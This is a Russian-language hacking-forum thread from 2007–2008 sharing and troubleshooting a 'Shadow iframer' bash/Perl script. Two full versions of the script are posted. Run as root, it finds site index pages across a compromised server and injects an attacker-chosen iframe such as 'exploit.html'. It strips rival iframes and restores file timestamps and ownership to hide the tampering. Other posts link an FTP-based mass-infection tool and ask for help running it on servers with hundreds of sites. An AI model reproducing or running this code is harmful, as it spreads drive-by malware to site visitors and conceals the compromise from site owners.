HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Избранное
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вот..:)
  #21  
Старый 18.01.2007, 13:20
sunb0rn
Новичок
Регистрация: 05.09.2006
Сообщений: 18
Провел на форуме:
706223

Репутация: 42
Отправить сообщение для sunb0rn с помощью ICQ
Thumbs up Вот..:)

Xорошый код, ифреймится, но я сделал пару фишек, которые мне казались нужными, чтобы получше фреймилось:
[+] body тэг теперь наxодится, если в нём прописаны какие то данные - например цвет
[+] не изменяется дата открытия/изменений файла
[+] не изменяется владелец модифицырованного файла
[+] пара мелкиx изменений по моему вкусу

Собственно сам код:
Код:
#!/bin/bash

if [ $UID != 0 ]; then
  echo "[x]Need r00t :("; exit 1;
fi

check=`expr length "$1"`

if [ $check == 0 ]; then 
  echo "########################################"
  echo "#Shadow iframer[local]  (c)ode by Gh0s7#"
  echo "#         Moded By Sunb0rn             #"
  echo "########################################"
  echo "#usage: ./sh-iframe.sh [iframe file]   #"
  echo "#       ./sh-iframe.sh exploit.html    #"
  echo "########################################"
  exit 1
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
  echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find / -name "index.htm*" 2> /dev/null > /tmp/found
find / -name "index.php"  2> /dev/null >> /tmp/found 
find / -name "index.asp"  2> /dev/null >> /tmp/found 
find / -name "main.htm*" 2> /dev/null >> /tmp/found 
find / -name "main.php"  2> /dev/null >> /tmp/found 
find / -name "main.asp" 2> /dev/null >> /tmp/found 
find / -name "default.htm*" 2> /dev/null >> /tmp/found
find / -name "default.php"  2> /dev/null >> /tmp/found
find / -name "default.asp"  2> /dev/null >> /tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while (<INPUT>) {
  chomp; $file = $_;
  $info = stat($file)     or die "no $file: $!";
  $t_uid = $info->uid;
  $t_gid = $info->gid;
  $t_atime = $info->atime;
  $t_mtime = $info->mtime;
  @res = split (/\//);
  $len = 0;
  $overwrite = 0;
  foreach (@res) { $len++; }
  open (FILE, "<$_") or die;
  open (TMP, ">/tmp/$res[$len-1]") or die;
  open (INJECT, "<$inject") or die;
  sysread (INJECT, $code, 1024);
  close (INJECT);
  while (<FILE>){
    print TMP $_;
    if (/<body/){
		if (/>/){print TMP $code;$overwrite = 1;}
	}
  }
  close (TMP);
  close (FILE);
  if ($overwrite == 1){
  system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
  system ("./mv $file /tmp/$res[$len-1].bak");
  system ("./mv /tmp/$res[$len-1] $file");
  utime $t_atime, $t_mtime, $file;
  system ("chown $t_uid:$t_gid $file");
  }
}'
echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm -f /tmp/index* /tmp/main* /tmp/default* /tmp/found iframer.pl
echo "[*] Finished"
exit 0
Пока в нём не xватает только, чтобы проверял на присутствие другиx фреймов, удаления или иx замены своим кодом, но это как то в будущем.
 
Ответить с цитированием

  #22  
Старый 18.01.2007, 17:00
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию

Имея на машине рута, можно найти куда более интересные применения для нее => вижу смысл юзания только ftp iframer'a
 
Ответить с цитированием

  #23  
Старый 06.02.2007, 14:43
TANZWUT
Крёстный отец :)
Регистрация: 22.06.2005
Сообщений: 1,330
Провел на форуме:
5302668

Репутация: 2054


Отправить сообщение для TANZWUT с помощью ICQ
По умолчанию

FTP-iframer:
[Возможности]
1/ Автоматическая проверка всех аккаунтов перед добавлением
2/ Гибкая возможность управления добавляемого кода
3/ Подробный лог добавляемого кода позволяющий эффективней работать скрипту
4/ Экспорт лога в удобном виде
5/ Импорт и экспорт ftp аккаунтов согласно определенных форматов
6/ ftp аккаунты возможно контроллировать визуально - добавлять / удалять лишь по одному
7/ пароллирование скрипта
8/ возможность заливать или удалять файлы на все сервера
new
9/ интеллектуальная система позволяющас заражать только то что рационально, тем самым не тратя лишние ресурсы вашего сервера и ваше же время. заражаются только те файлы которые чаще всего будут показаны(подробнее читать в Как работает скрипт, ниже)
10/ красивая, подробная выдача, можно наблюдать за процессом инфицирования


_http://slil.ru/23882712

сливаем пока линк работает
__________________
Лучший способ защиты - это нападение!!!
 
Ответить с цитированием

  #24  
Старый 10.02.2007, 04:18
don cicio
Новичок
Регистрация: 10.01.2007
Сообщений: 12
Провел на форуме:
42259

Репутация: 2
По умолчанию

у меня в логе скрипта появляется следующее

Код:
[*]Searching for perl.../usr/local/bin/perl[*]Starting index finder...please wait...search complete. Found 12345 pages[*]Generating iframer...complete.Starting iframer
mv: failed to preserve ownership for `/tmp/index.htm.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.htm.bak': Disk quota exceeded
chown: changing ownership of `/home/qwerty/public_html/index.htm': Disk quota exceeded
no /usr/local/cpanel/base/webmail/x2/index.html: No such file or directory at iframer.pl line 9, <INPUT> line 869.[*] Injecting complete, deleting temp files...[*] Finished
не подскажите что бы это значило?
 
Ответить с цитированием

  #25  
Старый 10.02.2007, 12:52
sunb0rn
Новичок
Регистрация: 05.09.2006
Сообщений: 18
Провел на форуме:
706223

Репутация: 42
Отправить сообщение для sunb0rn с помощью ICQ
По умолчанию

Пишет, что не может соxранить этот файл, потому что кончилась дисковая квота , только странно конечно, если такое под рутом случилось
 
Ответить с цитированием

  #26  
Старый 19.02.2007, 03:34
don cicio
Новичок
Регистрация: 10.01.2007
Сообщений: 12
Провел на форуме:
42259

Репутация: 2
По умолчанию

еще одна проблема - на сервере с небольшим количеством сайтов (штук 40) все отлично ифреймится буквально за минут 30, даже меньше. Но когда запускаю на сервере где хоститятся скажем 400-500 сайтов, скрипт очень долго ищет индексы (бывало и на 7 часов оставлял) и никакого результата, пока сокс не слетает.
Может кто подскажет в чем проблема?
 
Ответить с цитированием

  #27  
Старый 28.04.2007, 21:32
sunb0rn
Новичок
Регистрация: 05.09.2006
Сообщений: 18
Провел на форуме:
706223

Репутация: 42
Отправить сообщение для sunb0rn с помощью ICQ
По умолчанию

Сел, немного (пару дней) поучил язык скрипта перла, понравилось, переделал ифреймер для теx, кто для рута лучшее решение не нашёл, также для теx, кто свой сервер xотят освободить от нежелательныx фреймов. Плюсы и мунусы этого релиза:
[*] дополнительно нужно указать путь, где искать файлы для фрейма, так как использование "/" по моему не целесобразно
[+] поиск файлов производится на порядок быстрее защёт използования регулярныx выражений и функции grep
[+] удаляет все фреймы по маске <iframe + ваш код + ></iframe>, если они не совпадают с кодом записанным в файле фреймов
[+] вставляет фрейм перед кодом </body>, если в файле не нашёл тэг <body.*>
[+] старается в одном файле вставлять только один код фрейма (xотябы задумка такая )
[+] Удобно для теx, кто вставил свои фреймы, но при этом не потеряли рута, и xотят иx сменить или удалить
[+/-] теоретически может работать как удалитель фреймов, если файл с предпологаемым фреймом пустой (не проверялось)
[-] вставка фреймов осуществляется медленнее из за исползования функции seek в файле
[-] тестилось только на cygwin, так что не ручаюсь, если seek на nix'аx не работает аналогично!
Код:
#!/bin/bash

if [ $UID != 0 ]; then
  echo "[x]Need r00t :("; exit 1;
fi

usage () {
  echo "################################################"
  echo "#    Shadow iframer[local]  (c)ode by Gh0s7    #"
  echo "#              Moded By Sunb0rn                #"
  echo "################################################"
  echo "#usage: ./sh-iframe.sh [iframe file] [path]    #"
  echo "#       ./sh-iframe.sh exploit.html  /var/www/ #"
  echo "################################################"
  exit 1
}

check=`expr length "$1"`
if [ $check == 0 ]; then 
  usage
fi

check=`expr length "$2"`
if [ $check == 0 ]; then 
  usage
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
  echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find $2 -iregex ".*\(php\|php3\|htm\|html\|tpl\|asp\|aspx\|phtm\|phtml\|shtm\|shtml\|cfm\|txt\|jsp\|jhtml\)$"|grep -E -i "index\.|default\.|main\.|news\.|portal\.|header\.|footer\.|forum\.|site\.|theme\.|template\.|frame\.|body\.|home\.|menu\." 2> /dev/null>>/tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while (<INPUT>) {
  chomp; $file = $_;
  $info = stat($file)     or die "no $file: $!";
  $d_uid = $info->uid;
  $d_gid = $info->gid;
  $d_atime = $info->atime;
  $d_mtime = $info->mtime;
  @res = split (/\//);
  $len = 0;
  $overwrite = 0;
  foreach (@res) { $len++; }
  open (FILE, "<$_") or die;
  open (TMP, ">/tmp/$res[$len-1]") or die;
  open (INJECT, "<$inject") or die;
  sysread (INJECT, $code, 1024);
  close (INJECT);
  my $frcount = 0;
  while (<FILE>)
  {
	print TMP $_;
	my $linelength = length $_;
	while (/<iframe.*><\/iframe>/i)
	{
		if (/$inject/i) {$frcount ++;}
		if ((!/$inject/i)||($frcount > 1))
		{
			seek(TMP,-$linelength,1);
			if ($_ =~ /$inject/i) {$frcount --;}
			$_ =~ s/(<iframe.*><\/iframe>)//i;
			print TMP $_;
			$linelength = length $_;
		}
	}
	if ((/<body/i)&&($frcount < 1))
	{
		if (/>/)
		{
			print TMP $code;
			$frcount ++;
			$overwrite = 1;
		}
	}
	if ((/<\/body>/i)&&($overwrite == 0)&&($frcount < 1))
	{
		seek(TMP,-$linelength,1);
		print TMP $code.$_;
		$frcount ++;
		$overwrite = 1;
	}
  }
  close (FILE);
  close (TMP);
  if ($overwrite == 1)
  {
	  system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
	  system ("./mv $file /tmp/$res[$len-1].bak");
	  system ("./mv /tmp/$res[$len-1] $file");
	  utime $d_atime, $d_mtime, $file;
	  system ("chown $d_uid:$d_gid $file");
  }
}'
echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";" > iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm -f /tmp/* iframer.pl
echo "[*] Finished"
exit 0
Кстати - если в пути файла порбелы будут, то будет выскакивать ошыбка, что файл не существует , решение неискал...

P.S. извиняюсь за русский - не родной
P.P.S. при copy-->paste удаляйте лишние пробелы,а также о багаx пишите тут или в личку!
 
Ответить с цитированием

кто объяснит(до делает)
  #28  
Старый 16.12.2007, 16:18
cantrabas
Новичок
Регистрация: 15.12.2007
Сообщений: 7
Провел на форуме:
17163

Репутация: 0
По умолчанию кто объяснит(до делает)

по про бывал последний вариант, -что-то он не работает
 
Ответить с цитированием

  #29  
Старый 19.12.2007, 21:21
_Sniper_
Banned
Регистрация: 21.07.2007
Сообщений: 504
Провел на форуме:
1899369

Репутация: 445


Отправить сообщение для _Sniper_ с помощью ICQ
По умолчанию

Выложите ftp инфреймер пожалуйста.
 
Ответить с цитированием

  #30  
Старый 02.03.2008, 03:33
satana8920
Moderator - Level 7
Регистрация: 22.09.2006
Сообщений: 531
Провел на форуме:
3818187

Репутация: 369


Отправить сообщение для satana8920 с помощью ICQ
По умолчанию

угу просим фтп инфреймер
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ